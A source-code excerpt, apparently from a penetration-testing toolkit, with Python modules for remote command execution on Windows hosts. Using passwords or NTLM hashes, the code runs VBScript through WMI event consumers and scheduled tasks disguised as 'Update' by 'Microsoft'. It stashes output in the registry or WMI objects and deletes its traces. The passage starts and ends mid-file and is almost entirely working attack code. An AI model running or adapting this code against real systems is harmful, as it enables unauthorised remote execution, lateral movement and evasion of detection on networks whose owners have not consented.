{result_output} 2>&1 && certutil -encodehex -f {result_output} {result_output_b64} 0x40000001 && for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f && del /q /f /s {result_output} {result_output_b64}''' 95 | 96 | self.execute_remote(command) 97 | self.logger.info("Waiting {}s for command completely executed.".format(self.__interval_time)) 98 | time.sleep(self.__interval_time) 99 | 100 | self.queryRegistry(keyName) 101 | 102 | def queryRegistry(self, keyName): 103 | try: 104 | self.logger.debug(f"Querying registry key: HKLM\\{self.__registry_Path}") 105 | descriptor, _ = self.__iWbemServices.GetObject('StdRegProv') 106 | descriptor = descriptor.SpawnInstance() 107 | retVal = descriptor.GetStringValue(2147483650, self.__registry_Path, keyName) 108 | self.__outputBuffer = base64.b64decode(retVal.sValue).decode(self.__codec, errors='replace').rstrip('\r\n') 109 | except Exception as e: 110 | self.logger.error(f"Target: {self.__host} getting command result error: {str(e)}") 111 | 112 | try: 113 | self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}") 114 | retVal = descriptor.DeleteKey(2147483650, self.__registry_Path) 115 | except Exception as e: 116 | self.logger.error(f"Target: {self.__host} removing temporary registry path error: {str(e)}") -------------------------------------------------------------------------------- /cme-wmi/wmi/wmiexec_classout.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # 4 | # 5 | # Author: xiaolichan 6 | # Link: https://github.com/XiaoliChan/wmiexec-Pro 7 | # Note: windows version under NT6 not working with this command execution way, it need Win32_ScheduledJob. 8 | # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py 9 | # 10 | # Description: 11 | # For more details, please check out my repository. 12 | # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py 13 | # 14 | # Workflow: 15 | # Stage 1: 16 | # Generate vbs with command. 17 | # 18 | # Stage 2: 19 | # Execute vbs via wmi event, the vbs will write back the command result into new instance in ActiveScriptEventConsumer.Name="{command_ResultInstance}" 20 | # 21 | # Stage 3: 22 | # Get result from reading wmi object ActiveScriptEventConsumer.Name="{command_ResultInstance}" 23 | # 24 | # Stage 4: 25 | # Remove everythings in wmi object 26 | 27 | import time 28 | import uuid 29 | import base64 30 | import sys 31 | 32 | from io import StringIO 33 | from impacket.dcerpc.v5.dtypes import NULL 34 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 35 | from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS 36 | from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login, WBEMSTATUS 37 | 38 | class WMIEXEC_CLASSOUT: 39 | def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, interval_time, codec): 40 | self.host = host 41 | self.username = username 42 | self.password = password 43 | self.domain = domain 44 | self.lmhash = lmhash 45 | self.nthash = nthash 46 | self.doKerberos = doKerberos 47 | self.kdcHost = kdcHost 48 | self.aesKey = aesKey 49 | 50 | #self.iWbemServices = iWbemServices 51 | self.logger = logger 52 | self.interval_time = interval_time 53 | self.codec = codec 54 | self.instanceID = f"windows-object-{str(uuid.uuid4())}" 55 | self.instanceID_StoreResult = f"windows-object-{str(uuid.uuid4())}" 56 | 57 | self.__dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos ,kdcHost=self.kdcHost, aesKey=self.aesKey) 58 | iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) 59 | iWbemLevel1Login = IWbemLevel1Login(iInterface) 60 | self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) 61 | iWbemLevel1Login.RemRelease() 62 | 63 | def execute_command(self, command): 64 | # Generate vbsript and execute it 65 | if "'" in command: command = command.replace("'",r'"') 66 | self.logger.info(f"{self.host}: Execute command via wmi event, job instance id: {self.instanceID}, command result instance id: {self.instanceID_StoreResult}") 67 | self.execute_vbs(self.process_vbs(command)) 68 | 69 | # Get command results 70 | self.logger.info("Waiting {}s for command completely executed.".format(self.interval_time)) 71 | time.sleep(self.interval_time) 72 | 73 | # Check command result 74 | result = self.get_CommandResult() 75 | if result == None: 76 | self.logger.fail('Get command result error, please try to increase the interval time.') 77 | else: 78 | self.logger.success(f"Executed command: {command}") 79 | buf = StringIO(result).readlines() 80 | for line in buf: 81 | self.logger.highlight(line.strip()) 82 | 83 | # Clean up 84 | self.remove_Instance() 85 | 86 | try: 87 | self.__dcom.disconnect() 88 | except: 89 | pass 90 | 91 | def process_vbs(self, command): 92 | schedule_taskname = str(uuid.uuid4()) 93 | output_file = f"{str(uuid.uuid4())}.txt" 94 | 95 | # Link: https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/vbscripts/Exec-Command-WithOutput.vbs 96 | # The reason why need to encode command to base64: 97 | # because if some special charters in command like chinese, 98 | # when wmi doing put instance, it will throwing a exception about data type error (lantin-1), 99 | # but we can base64 encode it and submit the data without spcial charters to avoid it. 100 | vbs = f''' 101 | Dim command, outputPath 102 | command = Base64StringDecode("{base64.b64encode(command.encode()).decode()}") 103 | outputPath = "C:\Windows\Temp\{output_file}" 104 | 105 | On Error Resume Next 106 | Set objTestNewInst = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer.Name=""{self.instanceID_StoreResult}""") 107 | If Err.Number <> 0 Then 108 | Err.Clear 109 | If FileExists(outputPath) Then 110 | inputFile = outputPath 111 | Set inStream = CreateObject("ADODB.Stream") 112 | inStream.Open 113 | inStream.type= 1 'TypeBinary 114 | inStream.LoadFromFile(inputFile) 115 | readBytes = inStream.Read() 116 | 117 | Set oXML = CreateObject("Msxml2.DOMDocument") 118 | Set oNode = oXML.CreateElement("base64") 119 | oNode.dataType = "bin.base64" 120 | oNode.nodeTypedValue = readBytes 121 | Base64Encode = oNode.text 122 | 123 | ' Write back into wmi class 124 | wbemCimtypeString = 8 125 | Set objClass = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer") 126 | Set objInstance = objClass.spawninstance_ 127 | objInstance.name="{self.instanceID_StoreResult}" 128 | objInstance.scriptingengine="vbscript" 129 | objInstance.scripttext = Base64Encode 130 | objInstance.put_ 131 | Else 132 | Const TriggerTypeDaily = 1 133 | Const ActionTypeExec = 0 134 | Set service = CreateObject("Schedule.Service") 135 | Call service.Connect 136 | Dim rootFolder 137 | Set rootFolder = service.GetFolder("\") 138 | Dim taskDefinition 139 | Set taskDefinition = service.NewTask(0) 140 | Dim regInfo 141 | Set regInfo = taskDefinition.RegistrationInfo 142 | regInfo.Description = "Update" 143 | regInfo.Author = "Microsoft" 144 | Dim settings 145 | Set settings = taskDefinition.settings 146 | settings.Enabled = True 147 | settings.StartWhenAvailable = True 148 | settings.Hidden = False 149 | settings.DisallowStartIfOnBatteries = False 150 | Dim triggers 151 | Set triggers = taskDefinition.triggers 152 | Dim trigger 153 | Set trigger = triggers.Create(7) 154 | Dim Action 155 | Set Action = taskDefinition.Actions.Create(ActionTypeExec) 156 | Action.Path = "c:\windows\system32\cmd.exe" 157 | Action.arguments = "/Q /c " & command & " 1> " & outputPath & " 2>&1" 158 | Dim objNet, LoginUser 159 | Set objNet = CreateObject("WScript.Network") 160 | LoginUser = objNet.UserName 161 | If UCase(LoginUser) = "SYSTEM" Then 162 | Else 163 | LoginUser = Empty 164 | End If 165 | Call rootFolder.RegisterTaskDefinition("{schedule_taskname}", taskDefinition, 6, LoginUser, , 3) 166 | Call rootFolder.DeleteTask("{schedule_taskname}",0) 167 | End If 168 | Else 169 | On Error Resume Next 170 | Set fso = CreateObject("Scripting.FileSystemObject") 171 | fso.DeleteFile(outputPath) 172 | If Err.Number <> 0 Then 173 | Err.Clear 174 | End If 175 | End If 176 | 177 | Function FileExists(FilePath) 178 | Set fso = CreateObject("Scripting.FileSystemObject") 179 | If fso.FileExists(FilePath) Then 180 | FileExists=CBool(1) 181 | Else 182 | FileExists=CBool(0) 183 | End If 184 | End Function 185 | 186 | Function Base64StringDecode(ByVal vCode) 187 | Set oXML = CreateObject("Msxml2.DOMDocument") 188 | Set oNode = oXML.CreateElement("base64") 189 | oNode.dataType = "bin.base64" 190 | oNode.text = vCode 191 | Set BinaryStream = CreateObject("ADODB.Stream") 192 | BinaryStream.Type = 1 193 | BinaryStream.Open 194 | BinaryStream.Write oNode.nodeTypedValue 195 | BinaryStream.Position = 0 196 | BinaryStream.Type = 2 197 | ' All Format => utf-16le - utf-8 - utf-16le 198 | BinaryStream.CharSet = "utf-8" 199 | Base64StringDecode = BinaryStream.ReadText 200 | Set BinaryStream = Nothing 201 | Set oNode = Nothing 202 | End Function 203 | ''' 204 | return vbs 205 | 206 | def checkError(self, banner, call_status): 207 | if call_status != 0: 208 | try: 209 | error_name = WBEMSTATUS.enumItems(call_status).name 210 | except ValueError: 211 | error_name = 'Unknown' 212 | self.logger.fail("{} - ERROR: {} (0x{:08x})".format(banner, error_name, call_status)) 213 | else: 214 | self.logger.info(f"{banner} - OK") 215 | 216 | def execute_vbs(self, vbs_content): 217 | # Copy from wmipersist.py 218 | # Install ActiveScriptEventConsumer 219 | activeScript, _ = self.iWbemServices.GetObject('ActiveScriptEventConsumer') 220 | activeScript = activeScript.SpawnInstance() 221 | activeScript.Name = self.instanceID 222 | activeScript.ScriptingEngine = 'VBScript' 223 | activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 224 | activeScript.ScriptText = vbs_content 225 | # Don't output impacket default verbose 226 | current=sys.stdout 227 | sys.stdout = StringIO() 228 | resp = self.iWbemServices.PutInstance(activeScript.marshalMe()) 229 | sys.stdout = current 230 | self.checkError(f'Adding ActiveScriptEventConsumer.Name="{self.instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 231 | 232 | # Timer means the amount of milliseconds after the script will be triggered, hard coding to 1 second it in this case. 233 | wmiTimer, _ = self.iWbemServices.GetObject('__IntervalTimerInstruction') 234 | wmiTimer = wmiTimer.SpawnInstance() 235 | wmiTimer.TimerId = self.instanceID 236 | wmiTimer.IntervalBetweenEvents = 1000 237 | #wmiTimer.SkipIfPassed = False 238 | # Don't output verbose 239 | current=sys.stdout 240 | sys.stdout = StringIO() 241 | resp = self.iWbemServices.PutInstance(wmiTimer.marshalMe()) 242 | sys.stdout = current 243 | self.checkError(f'Adding IntervalTimerInstruction.TimerId="{self.instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 244 | 245 | # EventFilter 246 | eventFilter,_ = self.iWbemServices.GetObject('__EventFilter') 247 | eventFilter = eventFilter.SpawnInstance() 248 | eventFilter.Name = self.instanceID 249 | eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 250 | eventFilter.Query = f'select * from __TimerEvent where TimerID = "{self.instanceID}" ' 251 | eventFilter.QueryLanguage = 'WQL' 252 | eventFilter.EventNamespace = r'root\subscription' 253 | # Don't output verbose 254 | current=sys.stdout 255 | sys.stdout = StringIO() 256 | resp = self.iWbemServices.PutInstance(eventFilter.marshalMe()) 257 | sys.stdout = current 258 | self.checkError(f'Adding EventFilter.Name={self.instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 259 | 260 | # Binding EventFilter & EventConsumer 261 | filterBinding, _ = self.iWbemServices.GetObject('__FilterToConsumerBinding') 262 | filterBinding = filterBinding.SpawnInstance() 263 | filterBinding.Filter = f'__EventFilter.Name="{self.instanceID}"' 264 | filterBinding.Consumer = f'ActiveScriptEventConsumer.Name="{self.instanceID}"' 265 | filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 266 | # Don't output verbose 267 | current=sys.stdout 268 | sys.stdout = StringIO() 269 | resp = self.iWbemServices.PutInstance(filterBinding.marshalMe()) 270 | sys.stdout = current 271 | self.checkError(fr'Adding FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.instanceID}\"", Filter="__EventFilter.Name=\"{self.instanceID}\""', resp.GetCallStatus(0) & 0xffffffff) 272 | 273 | def get_CommandResult(self): 274 | try: 275 | command_ResultObject, _ = self.iWbemServices.GetObject(f'ActiveScriptEventConsumer.Name="{self.instanceID_StoreResult}"') 276 | record = dict(command_ResultObject.getProperties()) 277 | result = base64.b64decode(record['ScriptText']['value']).decode(self.codec, errors='replace') 278 | except: 279 | result = None 280 | return result 281 | 282 | def remove_Instance(self): 283 | resp = self.iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{self.instanceID}"') 284 | self.checkError(f'Removing ActiveScriptEventConsumer.Name="{self.instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 285 | 286 | resp = self.iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{self.instanceID_StoreResult}"') 287 | self.checkError(f'Removing ActiveScriptEventConsumer.Name="{self.instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 288 | 289 | resp = self.iWbemServices.DeleteInstance(f'__IntervalTimerInstruction.TimerId="{self.instanceID}"') 290 | self.checkError(f'Removing IntervalTimerInstruction.TimerId="{self.instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 291 | 292 | resp = self.iWbemServices.DeleteInstance(f'__EventFilter.Name="{self.instanceID}"') 293 | self.checkError(f'Removing EventFilter.Name="{self.instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 294 | 295 | resp = self.iWbemServices.DeleteInstance(fr'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.instanceID}\"",Filter="__EventFilter.Name=\"{self.instanceID}\""') 296 | self.checkError(fr'Removing FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.instanceID}\"", Filter="__EventFilter.Name=\"{self.instanceID}\""', resp.GetCallStatus(0) & 0xffffffff) -------------------------------------------------------------------------------- /cme-wmi/wmi/wmiexec_event.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # 4 | # 5 | # Author: xiaolichan 6 | # Link: https://github.com/XiaoliChan/wmiexec-Pro 7 | # Note: windows version under NT6 not working with this command execution way, it need Win32_ScheduledJob. 8 | # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py 9 | # 10 | # Description: 11 | # For more details, please check out my repository. 12 | # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py 13 | # 14 | # Workflow: 15 | # Stage 1: 16 | # Generate vbs with command. 17 | # 18 | # Stage 2: 19 | # Execute vbs via wmi event, the vbs will write back the command result into new instance in ActiveScriptEventConsumer.Name="{command_ResultInstance}" 20 | # 21 | # Stage 3: 22 | # Get result from reading wmi object ActiveScriptEventConsumer.Name="{command_ResultInstance}" 23 | # 24 | # Stage 4: 25 | # Remove everythings in wmi object 26 | 27 | import time 28 | import uuid 29 | import base64 30 | import sys 31 | 32 | from io import StringIO 33 | from impacket.dcerpc.v5.dtypes import NULL 34 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 35 | from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS 36 | from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, WBEM_FLAG_FORWARD_ONLY, IWbemLevel1Login, WBEMSTATUS 37 | 38 | class WMIEXEC_EVENT: 39 | def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, interval_time, codec): 40 | self.__host = host 41 | self.__username = username 42 | self.__password = password 43 | self.__domain = domain 44 | self.__lmhash = lmhash 45 | self.__nthash = nthash 46 | self.__doKerberos = doKerberos 47 | self.__kdcHost = kdcHost 48 | self.__aesKey = aesKey 49 | self.__outputBuffer = "" 50 | self.__retOutput = True 51 | 52 | self.logger = logger 53 | self.__interval_time = interval_time 54 | self.__codec = codec 55 | self.__instanceID = f"windows-object-{str(uuid.uuid4())}" 56 | self.__instanceID_StoreResult = f"windows-object-{str(uuid.uuid4())}" 57 | 58 | self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos ,kdcHost=self.__kdcHost, aesKey=self.__aesKey) 59 | iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) 60 | iWbemLevel1Login = IWbemLevel1Login(iInterface) 61 | self.__iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) 62 | iWbemLevel1Login.RemRelease() 63 | 64 | def execute(self, command, output=False): 65 | if "'" in command: command = command.replace("'",r'"') 66 | self.__retOutput = output 67 | self.execute_handler(command) 68 | 69 | try: 70 | self.__dcom.disconnect() 71 | except: 72 | pass 73 | 74 | return self.__outputBuffer 75 | 76 | def execute_remote(self, command): 77 | self.logger.info(f"Executing command: {command}") 78 | try: 79 | self.execute_vbs(self.process_vbs(command)) 80 | except Exception as e: 81 | self.logger.error((str(e))) 82 | 83 | def execute_handler(self, command): 84 | # Generate vbsript and execute it 85 | self.logger.debug(f"{self.__host}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}") 86 | self.execute_remote(command) 87 | 88 | # Get command results 89 | self.logger.info("Waiting {}s for command completely executed.".format(self.__interval_time)) 90 | time.sleep(self.__interval_time) 91 | 92 | if self.__retOutput: 93 | self.get_CommandResult() 94 | 95 | # Clean up 96 | self.remove_Instance() 97 | 98 | def process_vbs(self, command): 99 | schedule_taskname = str(uuid.uuid4()) 100 | # Link: https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/vbscripts/Exec-Command-WithOutput.vbs 101 | # The reason why need to encode command to base64: 102 | # because if some special charters in command like chinese, 103 | # when wmi doing put instance, it will throwing a exception about data type error (lantin-1), 104 | # but we can base64 encode it and submit the data without spcial charters to avoid it. 105 | if self.__retOutput: 106 | output_file = f"{str(uuid.uuid4())}.txt" 107 | vbs = fr''' 108 | Dim command, outputPath 109 | command = Base64StringDecode("{base64.b64encode(command.encode()).decode()}") 110 | outputPath = "C:\Windows\Temp\{output_file}" 111 | 112 | On Error Resume Next 113 | Set objTestNewInst = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer.Name=""{self.__instanceID_StoreResult}""") 114 | If Err.Number <> 0 Then 115 | Err.Clear 116 | If FileExists(outputPath) Then 117 | inputFile = outputPath 118 | Set inStream = CreateObject("ADODB.Stream") 119 | inStream.Open 120 | inStream.type= 1 'TypeBinary 121 | inStream.LoadFromFile(inputFile) 122 | readBytes = inStream.Read() 123 | 124 | Set oXML = CreateObject("Msxml2.DOMDocument") 125 | Set oNode = oXML.CreateElement("base64") 126 | oNode.dataType = "bin.base64" 127 | oNode.nodeTypedValue = readBytes 128 | Base64Encode = oNode.text 129 | 130 | ' Write back into wmi class 131 | wbemCimtypeString = 8 132 | Set objClass = GetObject("Winmgmts:root\subscription:ActiveScriptEventConsumer") 133 | Set objInstance = objClass.spawninstance_ 134 | objInstance.name="{self.__instanceID_StoreResult}" 135 | objInstance.scriptingengine="vbscript" 136 | objInstance.scripttext = Base64Encode 137 | objInstance.put_ 138 | Else 139 | Const TriggerTypeDaily = 1 140 | Const ActionTypeExec = 0 141 | Set service = CreateObject("Schedule.Service") 142 | Call service.Connect 143 | Dim rootFolder 144 | Set rootFolder = service.GetFolder("\") 145 | Dim taskDefinition 146 | Set taskDefinition = service.NewTask(0) 147 | Dim regInfo 148 | Set regInfo = taskDefinition.RegistrationInfo 149 | regInfo.Description = "Update" 150 | regInfo.Author = "Microsoft" 151 | Dim settings 152 | Set settings = taskDefinition.settings 153 | settings.Enabled = True 154 | settings.StartWhenAvailable = True 155 | settings.Hidden = False 156 | settings.DisallowStartIfOnBatteries = False 157 | Dim triggers 158 | Set triggers = taskDefinition.triggers 159 | Dim trigger 160 | Set trigger = triggers.Create(7) 161 | Dim Action 162 | Set Action = taskDefinition.Actions.Create(ActionTypeExec) 163 | Action.Path = "c:\windows\system32\cmd.exe" 164 | Action.arguments = "/Q /c " & command & " 1> " & outputPath & " 2>&1" 165 | Dim objNet, LoginUser 166 | Set objNet = CreateObject("WScript.Network") 167 | LoginUser = objNet.UserName 168 | If UCase(LoginUser) = "SYSTEM" Then 169 | Else 170 | LoginUser = Empty 171 | End If 172 | Call rootFolder.RegisterTaskDefinition("{schedule_taskname}", taskDefinition, 6, LoginUser, , 3) 173 | Call rootFolder.DeleteTask("{schedule_taskname}",0) 174 | End If 175 | Else 176 | On Error Resume Next 177 | Set fso = CreateObject("Scripting.FileSystemObject") 178 | fso.DeleteFile(outputPath) 179 | If Err.Number <> 0 Then 180 | Err.Clear 181 | End If 182 | End If 183 | 184 | Function FileExists(FilePath) 185 | Set fso = CreateObject("Scripting.FileSystemObject") 186 | If fso.FileExists(FilePath) Then 187 | FileExists=CBool(1) 188 | Else 189 | FileExists=CBool(0) 190 | End If 191 | End Function 192 | 193 | Function Base64StringDecode(ByVal vCode) 194 | Set oXML = CreateObject("Msxml2.DOMDocument") 195 | Set oNode = oXML.CreateElement("base64") 196 | oNode.dataType = "bin.base64" 197 | oNode.text = vCode 198 | Set BinaryStream = CreateObject("ADODB.Stream") 199 | BinaryStream.Type = 1 200 | BinaryStream.Open 201 | BinaryStream.Write oNode.nodeTypedValue 202 | BinaryStream.Position = 0 203 | BinaryStream.Type = 2 204 | ' All Format => utf-16le - utf-8 - utf-16le 205 | BinaryStream.CharSet = "utf-8" 206 | Base64StringDecode = BinaryStream.ReadText 207 | Set BinaryStream = Nothing 208 | Set oNode = Nothing 209 | End Function 210 | ''' 211 | else: 212 | # From wmihacker 213 | # Link: https://github.com/rootclay/WMIHACKER/blob/master/WMIHACKER_0.6.vbs 214 | vbs = fr''' 215 | Dim command 216 | command = Base64StringDecode("{base64.b64encode(command.encode()).decode()}") 217 | 218 | Const TriggerTypeDaily = 1 219 | Const ActionTypeExec = 0 220 | Set service = CreateObject("Schedule.Service") 221 | Call service.Connect 222 | Dim rootFolder 223 | Set rootFolder = service.GetFolder("\") 224 | Dim taskDefinition 225 | Set taskDefinition = service.NewTask(0) 226 | Dim regInfo 227 | Set regInfo = taskDefinition.RegistrationInfo 228 | regInfo.Description = "Update" 229 | regInfo.Author = "Microsoft" 230 | Dim settings 231 | Set settings = taskDefinition.settings 232 | settings.Enabled = True 233 | settings.StartWhenAvailable = True 234 | settings.Hidden = False 235 | settings.DisallowStartIfOnBatteries = False 236 | Dim triggers 237 | Set triggers = taskDefinition.triggers 238 | Dim trigger 239 | Set trigger = triggers.Create(7) 240 | Dim Action 241 | Set Action = taskDefinition.Actions.Create(ActionTypeExec) 242 | Action.Path = "c:\windows\system32\cmd.exe" 243 | Action.arguments = "/Q /c " & command 244 | Dim objNet, LoginUser 245 | Set objNet = CreateObject("WScript.Network") 246 | LoginUser = objNet.UserName 247 | If UCase(LoginUser) = "SYSTEM" Then 248 | Else 249 | LoginUser = Empty 250 | End If 251 | Call rootFolder.RegisterTaskDefinition("{schedule_taskname}", taskDefinition, 6, LoginUser, , 3) 252 | Call rootFolder.DeleteTask("{schedule_taskname}",0) 253 | 254 | Function Base64StringDecode(ByVal vCode) 255 | Set oXML = CreateObject("Msxml2.DOMDocument") 256 | Set oNode = oXML.CreateElement("base64") 257 | oNode.dataType = "bin.base64" 258 | oNode.text = vCode 259 | Set BinaryStream = CreateObject("ADODB.Stream") 260 | BinaryStream.Type = 1 261 | BinaryStream.Open 262 | BinaryStream.Write oNode.nodeTypedValue 263 | BinaryStream.Position = 0 264 | BinaryStream.Type = 2 265 | ' All Format => utf-16le - utf-8 - utf-16le 266 | BinaryStream.CharSet = "utf-8" 267 | Base64StringDecode = BinaryStream.ReadText 268 | Set BinaryStream = Nothing 269 | Set oNode = Nothing 270 | End Function 271 | ''' 272 | return vbs 273 | 274 | def checkError(self, banner, call_status): 275 | if call_status != 0: 276 | try: 277 | error_name = WBEMSTATUS.enumItems(call_status).name 278 | except ValueError: 279 | error_name = 'Unknown' 280 | self.logger.debug("{} - ERROR: {} (0x{:08x})".format(banner, error_name, call_status)) 281 | else: 282 | self.logger.debug(f"{banner} - OK") 283 | 284 | def execute_vbs(self, vbs_content): 285 | # Copy from wmipersist.py 286 | # Install ActiveScriptEventConsumer 287 | activeScript, _ = self.__iWbemServices.GetObject('ActiveScriptEventConsumer') 288 | activeScript = activeScript.SpawnInstance() 289 | activeScript.Name = self.__instanceID 290 | activeScript.ScriptingEngine = 'VBScript' 291 | activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 292 | activeScript.ScriptText = vbs_content 293 | # Don't output impacket default verbose 294 | current=sys.stdout 295 | sys.stdout = StringIO() 296 | resp = self.__iWbemServices.PutInstance(activeScript.marshalMe()) 297 | sys.stdout = current 298 | self.checkError(f'Adding ActiveScriptEventConsumer.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 299 | 300 | # Timer means the amount of milliseconds after the script will be triggered, hard coding to 1 second it in this case. 301 | wmiTimer, _ = self.__iWbemServices.GetObject('__IntervalTimerInstruction') 302 | wmiTimer = wmiTimer.SpawnInstance() 303 | wmiTimer.TimerId = self.__instanceID 304 | wmiTimer.IntervalBetweenEvents = 1000 305 | #wmiTimer.SkipIfPassed = False 306 | # Don't output verbose 307 | current=sys.stdout 308 | sys.stdout = StringIO() 309 | resp = self.__iWbemServices.PutInstance(wmiTimer.marshalMe()) 310 | sys.stdout = current 311 | self.checkError(f'Adding IntervalTimerInstruction.TimerId="{self.__instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 312 | 313 | # EventFilter 314 | eventFilter,_ = self.__iWbemServices.GetObject('__EventFilter') 315 | eventFilter = eventFilter.SpawnInstance() 316 | eventFilter.Name = self.__instanceID 317 | eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 318 | eventFilter.Query = f'select * from __TimerEvent where TimerID = "{self.__instanceID}" ' 319 | eventFilter.QueryLanguage = 'WQL' 320 | eventFilter.EventNamespace = r'root\subscription' 321 | # Don't output verbose 322 | current=sys.stdout 323 | sys.stdout = StringIO() 324 | resp = self.__iWbemServices.PutInstance(eventFilter.marshalMe()) 325 | sys.stdout = current 326 | self.checkError(f'Adding EventFilter.Name={self.__instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 327 | 328 | # Binding EventFilter & EventConsumer 329 | filterBinding, _ = self.__iWbemServices.GetObject('__FilterToConsumerBinding') 330 | filterBinding = filterBinding.SpawnInstance() 331 | filterBinding.Filter = f'__EventFilter.Name="{self.__instanceID}"' 332 | filterBinding.Consumer = f'ActiveScriptEventConsumer.Name="{self.__instanceID}"' 333 | filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] 334 | # Don't output verbose 335 | current=sys.stdout 336 | sys.stdout = StringIO() 337 | resp = self.__iWbemServices.PutInstance(filterBinding.marshalMe()) 338 | sys.stdout = current 339 | self.checkError(fr'Adding FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.__instanceID}\"", Filter="__EventFilter.Name=\"{self.__instanceID}\""', resp.GetCallStatus(0) & 0xffffffff) 340 | 341 | def get_CommandResult(self): 342 | try: 343 | command_ResultObject, _ = self.__iWbemServices.GetObject(f'ActiveScriptEventConsumer.Name="{self.__instanceID_StoreResult}"') 344 | record = dict(command_ResultObject.getProperties()) 345 | self.__outputBuffer = base64.b64decode(record['ScriptText']['value']).decode(self.__codec, errors='replace') 346 | except: 347 | pass 348 | 349 | def remove_Instance(self): 350 | if self.__retOutput: 351 | resp = self.__iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{self.__instanceID_StoreResult}"') 352 | self.checkError(f'Removing ActiveScriptEventConsumer.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 353 | 354 | resp = self.__iWbemServices.DeleteInstance(f'ActiveScriptEventConsumer.Name="{self.__instanceID}"') 355 | self.checkError(f'Removing ActiveScriptEventConsumer.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 356 | 357 | resp = self.__iWbemServices.DeleteInstance(f'__IntervalTimerInstruction.TimerId="{self.__instanceID}"') 358 | self.checkError(f'Removing IntervalTimerInstruction.TimerId="{self.__instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 359 | 360 | resp = self.__iWbemServices.DeleteInstance(f'__EventFilter.Name="{self.__instanceID}"') 361 | self.checkError(f'Removing EventFilter.Name="{self.__instanceID}"', resp.GetCallStatus(0) & 0xffffffff) 362 | 363 | resp = self.__iWbemServices.DeleteInstance(fr'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.__instanceID}\"",Filter="__EventFilter.Name=\"{self.__instanceID}\""') 364 | self.checkError(fr'Removing FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"{self.__instanceID}\"", Filter="__EventFilter.Name=\"{self.__instanceID}\""', resp.GetCallStatus(0) & 0xffffffff) -------------------------------------------------------------------------------- /cme-xfreerdp/xfreerdp.py: -------------------------------------------------------------------------------- 1 | import uuid, subprocess, os, re 2 | 3 | from datetime import datetime 4 | from termcolor import colored 5 | 6 | from cme.connection import * 7 | from cme.logger import CMEAdapter 8 | from cme.config import process_secret 9 | from cme.config import host_info_colors 10 | 11 | success_flag = "Authentication only, exit status 0" 12 | 13 | status_dict = { 14 | '(Account has been 